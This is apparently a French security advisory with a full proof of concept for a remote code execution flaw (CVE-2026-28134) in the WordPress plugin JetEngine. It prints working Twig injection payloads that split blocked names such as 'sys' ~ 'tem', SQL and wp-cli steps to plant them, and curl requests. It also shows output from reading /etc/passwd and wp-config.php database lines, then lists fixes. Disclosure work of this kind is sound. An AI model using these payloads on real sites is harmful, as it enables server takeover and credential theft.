
JetEngine <= 3.7.2 - Exécution de code à distance authentifiée (Contributor+)
Date : 11 mars 2026 Score CVSS : 8.8 (Élevé) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin concerné : JetEngine <= 3.7.2 Slug du plugin : jet-engine CVE : CVE-2026-28134 Statut : Privé Version WordPress testée : Dernière
CVE-2026-28134 est une vulnérabilité d'exécution de code à distance dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à la 3.7.2 incluse. Cette vulnérabilité permet à des attaquants authentifiés disposant d'un accès de niveau Contributeur ou supérieur d'exécuter des commandes système arbitraires sur le serveur en injectant un modèle Twig malveillant dans un post JetEngine de type Listing.
La chaîne d'attaque combine trois faiblesses :
~ de Twig pour diviser les noms de fonctions bloqués entre plusieurs jetons.✅ VULNÉRABILITÉ CONFIRMÉE — RCE complète obtenue
Impact confirmé :
www-data/etc/passwd, wp-config.php)JetEngine fournit un type de vue Listing basé sur Twig/Timber. Lorsque le composant timber_views est activé, les posts Listing avec _listing_type = twig voient leur méta de post _jet_engine_listing_html rendue comme un modèle Twig dynamique via Timber. Le pipeline de rendu est accessible via l'action AJAX non authentifiée wp_ajax_nopriv_jet_engine_ajax, et exige seulement que l'attaquant puisse créer ou modifier un post JetEngine de type Listing (rôle Contributeur minimum).
ajax-handlers.php enregistre l'action AJAX pour les utilisateurs authentifiés et non authentifiés :
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
Le gestionnaire répartit vers toute méthode publique de la classe en fonction de $_REQUEST['handler'], sans vérification de nonce ni de capacité :
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
L'appel à listing_load_more est accessible publiquement et déclenche le pipeline de rendu Listing.
La chaîne d'appels listing_load_more → get_listing → frontend->get_listing_item atteint :
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Lorsque $listing_view = 'twig', cela déclenche Jet_Engine\Timber_Views\Render::get_listing_content(), qui lit le modèle Twig depuis le champ méta _jet_engine_listing_html du post et le transmet directement à render_html() :
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig effectue le rendu sans sandbox. La seule protection est sanitize_twig_content().
sanitize_twig_content() supprime les noms de fonctions PHP dangereux à l'aide de motifs regex de limites de mots, puis vérifie si le modèle a été modifié :
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
Le motif \bsystem\b correspond au jeton littéral system. Il ne correspond pas à "sys" ~ "tem" car ce sont deux jetons de chaîne quotés distincts. Twig évalue la concaténation au moment du rendu, produisant "system" uniquement en mémoire — le modèle source ne contient jamais le mot bloqué.
Payload de contournement :
{{ fn("sys" ~ "tem", "id") }}
Le filtre voit fn, "sys", ~, "tem", "id" — aucun de ces éléments n'est dans la liste noire. Il passe inchangé.
fn() de TimberTimber enregistre des wrappers PHP appelables directement dans l'environnement Twig :
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} se résout en call_user_func_array("system", ["id"]) — exécution de commandes système arbitraires.
timber_views de JetEngine est activé (Réglages JetEngine > Performance > Vues Timber/Twig).Créez un post JetEngine de type Listing avec le modèle Twig malveillant stocké dans la méta de post :
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Ou via wp-cli (en tant qu'utilisateur Contributeur) :
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
La chaîne bloquée passthru découpée en "pas" ~ "sthru" :
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Modèle défini sur {{ fn("pas" ~ "sthru", "cat /etc/passwd") }} :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Modèle {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }} :
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax se déclenche pour les requêtes non authentifiées. Le répartiteur handle_ajax() n'effectue aucune vérification de nonce ni de capacité avant d'invoquer listing_load_more. Le pipeline de rendu est donc accessible à tout utilisateur non authentifié dès qu'un listing malveillant existe.
L'extension sandbox officielle de Twig (\Twig\Sandbox\SecurityPolicy) applique des listes blanches au niveau du moteur — il est impossible d'appeler des fonctions non explicitement autorisées. JetEngine utilise createTemplate() sans sandbox. La seule protection est une analyse de chaîne avant le rendu, facilement contournable.
L'approche de liste noire (/\bsystem\b/i) opère sur le texte source statique du modèle. L'opérateur de concaténation ~ de Twig construit des chaînes à l'exécution. Tout nom bloqué peut être découpé : "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Une sandbox adaptée rejetterait l'appel quelle que soit la manière dont le nom de fonction a été construit.
call_user_func_arrayLes assistants Twig fn() et function() de Timber sont des ponts inconditionnels vers call_user_func_array de PHP. Il n'existe aucune liste blanche de fonctions appelables. Toute fonction PHP accessible depuis le processus web peut être invoquée.
| Date | Événement |
|---|---|
| 2026-03-11 | Vulnérabilité découverte et confirmée avec un PoC complet de RCE |
| 2026-03-11 | Rapport rédigé |
| Fichier | Problème |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax enregistrée — aucune authentification ni nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — répartition arbitraire de méthodes publiques |
includes/components/timber-views/timber.php:150 | render_html() rend un modèle Twig contrôlé par l'attaquant sans sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — liste noire regex de chaînes, contournée par découpage de jetons |
timber-library/lib/Twig.php:42-43 | Timber enregistre fn()/function() comme wrappers Twig pour call_user_func_array |
| Correctif | Description |
|---|
Ajouter une vérification de nonce + capacité à handle_ajax() | Exiger la capacité edit_posts et un nonce valide pour toute répartition AJAX |
| Activer la sandbox Twig | Remplacer la liste noire de chaînes par \Twig\Sandbox\SecurityPolicy — autoriser explicitement les fonctions et propriétés sûres |
Restreindre l'assistant fn() de Timber | Mettre en liste blanche les noms de fonctions appelables ou retirer fn()/function() de l'environnement Twig pour les modèles non fiables |
| Valider la propriété du listing | Confirmer que l'utilisateur demandeur possède la capacité edit_post sur le listing avant de rendre son modèle |